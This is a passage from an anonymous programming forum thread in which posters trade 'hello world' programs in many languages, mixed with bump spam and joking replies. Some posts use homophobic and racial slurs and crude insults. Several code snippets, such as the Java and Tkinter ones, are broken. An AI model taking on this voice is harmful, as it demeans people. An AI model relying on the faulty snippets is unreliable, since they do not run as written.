    mov    dl,    len
    mov    ecx,    msg
    mov    bl,    1   
    mov    al,    4   
    int    0x80   

    mov    al,    1
    int    0x80

Name: Anonymous 2007-04-05 11:02 ID:Heaven


(defun main(x)
  (format t x))
(main "hello, world!")

Name: Anonymous 2007-04-05 20:23 ID:G5BemJGv

@echo off
:lulz
echo Hello World!
goto lulz

Name: Anonymous 2007-04-05 22:14 ID:MiQQIKqX

The Infamous Hello World Program.

Romeo, a young man with a remarkable patience.
Juliet, a likewise young woman of remarkable grace.
Ophelia, a remarkable woman much in dispute with Hamlet.
Hamlet, the flatterer of Andersen Insulting A/S.


                    Act I: Hamlet's insults and flattery.

                    Scene I: The insulting of Romeo.

[Enter Hamlet and Romeo]

Hamlet:
 You lying stupid fatherless big smelly half-witted coward!
 You are as stupid as the difference between a handsome rich brave
 hero and thyself! Speak your mind!

 You are as brave as the sum of your fat little stuffed misused dusty
 old rotten codpiece and a beautiful fair warm peaceful sunny summer's
 day. You are as healthy as the difference between the sum of the
 sweetest reddest rose and my father and yourself! Speak your mind!

 You are as cowardly as the sum of yourself and the difference
 between a big mighty proud kingdom and a horse. Speak your mind.

 Speak your mind!

[Exit Romeo]

                    Scene II: The praising of Juliet.

[Enter Juliet]

Hamlet:
 Thou art as sweet as the sum of the sum of Romeo and his horse and his
 black cat! Speak thy mind!

[Exit Juliet]

                    Scene III: The praising of Ophelia.

[Enter Ophelia]

Hamlet:
 Thou art as lovely as the product of a large rural town and my amazing
 bottomless embroidered purse. Speak thy mind!

 Thou art as loving as the product of the bluest clearest sweetest sky
 and the sum of a squirrel and a white horse. Thou art as beautiful as
 the difference between Juliet and thyself. Speak thy mind!

[Exeunt Ophelia and Hamlet]


                    Act II: Behind Hamlet's back.

                    Scene I: Romeo and Juliet's conversation.

[Enter Romeo and Juliet]

Romeo:
 Speak your mind. You are as worried as the sum of yourself and the
 difference between my small smooth hamster and my nose. Speak your
 mind!

Juliet:
 Speak YOUR mind! You are as bad as Hamlet! You are as small as the
 difference between the square of the difference between my little pony
 and your big hairy hound and the cube of your sorry little
 codpiece. Speak your mind!

[Exit Romeo]

                    Scene II: Juliet and Ophelia's conversation.

[Enter Ophelia]

Juliet:
 Thou art as good as the quotient between Romeo and the sum of a small
 furry animal and a leech. Speak your mind!

Ophelia:
 Thou art as disgusting as the quotient between Romeo and twice the
 difference between a mistletoe and an oozing infected blister! Speak
 your mind!

[Exeunt]


Primes

(This is the contents of the file primes.spl.)


Prime Number Computation in Copenhagen.

Romeo, a young man of Verona.
Juliet, a young woman.
Hamlet, a temporary variable from Denmark.
The Ghost, a limiting factor (and by a remarkable coincidence also
        Hamlet's father).


                    Act I: Interview with the other side.

                    Scene I: At the last hour before dawn.

[Enter the Ghost and Juliet]

The Ghost:
 You pretty little warm thing! Thou art as prompt as the difference
 between the square of thyself and your golden hair. Speak your mind.

Juliet:
 Listen to your heart!

[Exit the Ghost]

[Enter Romeo]

Juliet:
 Thou art as sweet as a sunny summer's day!


                    Act II: Determining divisibility.

                    Scene I: A private conversation.

Juliet:
 Art thou more cunning than the Ghost?

Romeo:
 If so, let us proceed to scene V.

[Exit Romeo]

[Enter Hamlet]

Juliet:
 You are as villainous as the square root of Romeo!

Hamlet:
 You are as lovely as a red rose.

                    Scene II: Questions and the consequences thereof.

Juliet:
 Am I better than you?

Hamlet:
 If so, let us proceed to scene III.

Juliet:
 Is the remainder of the quotient between Romeo and me as good as
 nothing?

Hamlet:
 If so, let us proceed to scene IV.
 Thou art as bold as the sum of thyself and a roman.

Juliet:
 Let us return to scene II.

                    Scene III: Romeo must die!

[Exit Hamlet]

[Enter Romeo]

Juliet:
 Open your heart.

[Exit Juliet]

[Enter Hamlet]

Romeo:
 Thou art as rotten as the difference between nothing and the sum of a
 snotty stinking half-witted hog and a small toad!
 Speak your mind!

[Exit Romeo]

[Enter Juliet]

                    Scene IV: One small dog at a time.

[Exit Hamlet]

[Enter Romeo]

Juliet:
 Thou art as handsome as the sum of thyself and my chihuahua!
 Let us return to scene I.

                    Scene V: Fin.

[Exeunt]

Name: Anonymous 2007-04-05 22:20 ID:1DKdXgKI

>>177
LOL you fail at copying and pasting.

Name: Anonymous 2007-04-06 3:04 ID:7pLKdnXH

>>177
QUICK!  SOMEONE CONVERT THAT TO BASIC STATEMENTS

Name: Anonymous 2007-04-06 4:54 ID:+ZSAcyYP

public class hello {

public Main() {
}

public static void main (String[] args) {
system.out.println "Hello world!";
}
}

Name: Anonymous 2007-04-06 16:32 ID:OeC9Tb0b

select 'hello world' message from dual;

Name: Anonymous 2007-04-06 17:02 ID:E/lQezHz

>>15
Oh lawd is that some brainfuck.

alias helloworld {
  msg $active Hello World!
}

Name: Anonymous 2007-04-06 17:05 ID:misE4QRA

DISPLAY ASCIIZ:"Hello World" ON RESOURCE 0

Name: Anonymous 2007-04-07 1:05 ID:eLfnexuX

PRINT "HELLO WORLD"

Name: Anonymous 2007-04-07 1:07 ID:eLfnexuX

DISP("HELLO WORLD"

Name: Anonymous 2007-04-07 3:10 ID:Px9OBFYr

?"HELLO WORLD

Name: ddddddddddddddddddddddd 2007-04-07 4:32 ID:itxRpbTJ

module Main where

import Control.Concurrent
import Control.Concurrent.STM
import Control.Monad

--
-- | Hello world with STM.

main :: IO ()
main = do
    tc <- atomically newTChan

    forkIO $ forM_ [1..] $
        \n -> do atomically $ writeTChan tc
                   (cycle "Bonjour la monde!!\n" !! n)
                 threadDelay (10^5)

    forkIO $ forM_ [1..] $
        \_ -> do c <- atomically $ readTChan tc
                 putChar c

    return ()

Name: Anonymous 2007-04-07 6:34 ID:Heaven

you guys probably won't believe this, but I'm the OP, and I remember making this thread motnhs ago. seriously, let it die.

Name: Anonymous 2007-04-07 7:08 ID:L72+tZdF

jesus, yu fucks are all nubs

Name: Anonymous 2007-04-07 8:09 ID:1LSpQnCH

>>188
Almost a year ago, dude.

Name: Anonymous 2007-04-07 10:00 ID:Heaven

>>188
This thread is timeless.

Name: Anonymous 2007-04-07 12:18 ID:mI/5LqM5

>>191
so is your face >:(

Name: Anonymous 2009-08-16 2:47

Lain.

Name: Anonymous 2009-08-16 3:00

Lain.

Name: Anonymous 2009-08-16 3:08

Lain.

Name: Anonymous 2009-08-16 3:22

Lain.

Name: Anonymous 2009-08-16 3:23

Lain.

Name: Anonymous 2009-08-16 3:36

Lain.

Name: Anonymous 2009-08-16 3:37

Lain.

Name: Anonymous 2009-08-16 3:51

Lain.

Name: Anonymous 2009-08-16 4:02

Lain.

Name: Anonymous 2009-08-16 4:10

Lain.

Name: Anonymous 2009-08-16 4:12

Lain.

Name: Anonymous 2009-08-16 4:19

Lain.

Name: Anonymous 2009-08-16 4:24

Lain.

Name: Anonymous 2009-08-16 4:25

Lain.

Name: Anonymous 2009-08-16 4:27

Lain.

Name: Anonymous 2010-03-22 14:30

RISE FROM YOUR GRAVE!

Name: Anonymous 2010-03-22 14:56

>>208
main() { printf("Goodbye, world!\n"); }

Name: Anonymous 2010-03-22 15:04

(princ "Hello ancient thread")

Name: Anonymous 2010-03-22 15:26

<html><body><p><font face="#000000" style="faggot"><a href="http://google.com">Hello, world!</p>

Name: Anonymous 2010-03-22 15:28

(princ "Hello ancient thread")
LISP has a Prince function..fabulous

Name: Anonymous 2010-03-22 15:50

>>212
Did you mean: fabberluss

Name: Anonymous 2010-03-22 15:51

>>212
That shows how out of date it is
(define the-artist princ)

Name: Anonymous 2010-03-22 16:27



from Tkinter import *

def sayHello():
  print('Hello World!')

root = Tk()
 
button = Button(root, text='Hello', functionality=sayHello)
button.pack

root.mainloop()

Name: Anonymous 2010-03-22 16:38

#lang scheme/gui
(define frame (new frame% [label "Hello World"]))
(new button% [parent frame]
             [label "Press me"]
             [callback (lambda (button event)
                         (message-box "Hello world" "Hello world"))])
(send frame show #t)

Name: Anonymous 2010-03-22 16:58

My other princ is a terpri.

Name: Anonymous 2010-03-23 12:00

." Hello World!" cr

Name: Anonymous 2010-03-23 17:30

>>215
how does it know where to pack the button

Name: Anonymous 2010-03-23 17:55

>>219
By default it packs my anus.

Name: Anonymous 2010-03-23 19:32

>>215
You should actually call the pack method, instead of just asserting that it exists.

Name: Anonymous 2010-03-23 20:43

wow, i actually remember posting >>34,37,97,125,148 about 3.75 years ago.

Name: Anonymous 2010-03-23 20:56

>>222
Really? What was the atmosphere like on world4ch back then?

Name: Anonymous 2010-03-23 23:21

>>222
that should be >>98, not >>97.

>>223
there was a lot more actual code.

Name: Anonymous 2010-03-24 3:50

HAI
CAN HAS STDIO?
VISIBLE "HAI WORLD!"
KTHXBYE

Name: Anonymous 2010-06-07 6:43

Hi, I can spam /prog/ too, you faggot.

Also, smoke weed everyday.

Name: Anonymous 2010-12-24 10:09

Sagefault (Thread bumped)

Name: Anonymous 2010-12-24 14:33

module Hello
extend self
def to(helloee)
  puts 'Hello #{helloee}'
end
end

Hello.to :world

Name: Anonymous 2010-12-24 14:54

goodbye, world

Name: Anonymous 2010-12-24 15:21

­> ruby >>229 > >>231
Hello #{helloee}

Name: Anonymous 2010-12-24 17:27

>>229
U MENA "

Name: Anonymous 2011-01-31 19:47

<-- check em dubz

Name: Anonymous 2011-02-03 2:08

Name: Anonymous 2011-02-04 12:44

Name: Sgt.Kabu薡kiman竑胇 2012-05-28 19:17

Bringing /prog/ back to its people
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All work and no play makes Jack a dull boy
All work and no play makes Jack a dull boy
All work and no play makes Jack a dull boy
All work and no play makes Jack a dull boy
All work and no play makes Jack a dull boy
All work and no play makes Jack a dull boy
All work and no play makes Jack a dull boy
All work and no play makes Jack a dull boy
All work and no play makes Jack a dull boy

Name: Anonymous 2012-05-28 19:22

java:

public static void main(String[] args){
    System.out.println("Sup nigguhs");
}

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